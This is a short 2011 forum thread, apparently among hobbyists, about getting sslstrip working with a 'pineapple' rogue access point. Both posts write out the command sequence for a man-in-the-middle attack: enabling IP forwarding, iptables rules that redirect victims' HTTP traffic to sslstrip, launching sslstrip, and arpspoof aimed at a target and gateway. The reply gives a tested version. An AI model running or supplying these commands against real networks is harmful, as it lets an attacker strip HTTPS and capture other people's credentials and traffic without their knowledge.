Josh Armour Posted December 26, 2011 Share Posted December 26, 2011 In order to use sslstrip you have to run some routes to redirect traffic to port 8080 or whatever you will have sslstrop listen on. Has anyone got this working with the pineapple and linux? http://www.thoughtcrime.org/software/sslstrip/ Running sslstripFlip your machine into forwarding mode. (echo "1" > /proc/sys/net/ipv4/ip_forward) Setup iptables to redirect HTTP traffic to sslstrip. (iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <listenPort>) Run sslstrip. (sslstrip.py -l <listenPort>) Run arpspoof to convince a network they should send their traffic to you. (arpspoof -i <interface> -t <targetIP> <gatewayIP>) In this situation we don't need to run step one because we are already doing forwarding. Setting up iptables to redirect to port 8080 is the problem I believe because I just want to mirror that traffic and allow it to flow normally too. Also we dont need to do step 4 because we are MITM. Anyone got this working yet? Quote Link to comment Share on other sites More sharing options...
Mr-Protocol Posted December 26, 2011 Share Posted December 26, 2011 This is what i used on my Fon2100 pineapple with a BT4 laptop back when. echo 1 > /proc/sys/net/ipv4/ip_forward sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 64123 sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE python sslstrip-0.7/sslstrip.py -l 64123 -f sslstrip-0.7/lock.ico You need to setup forwarding to pass it along. Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.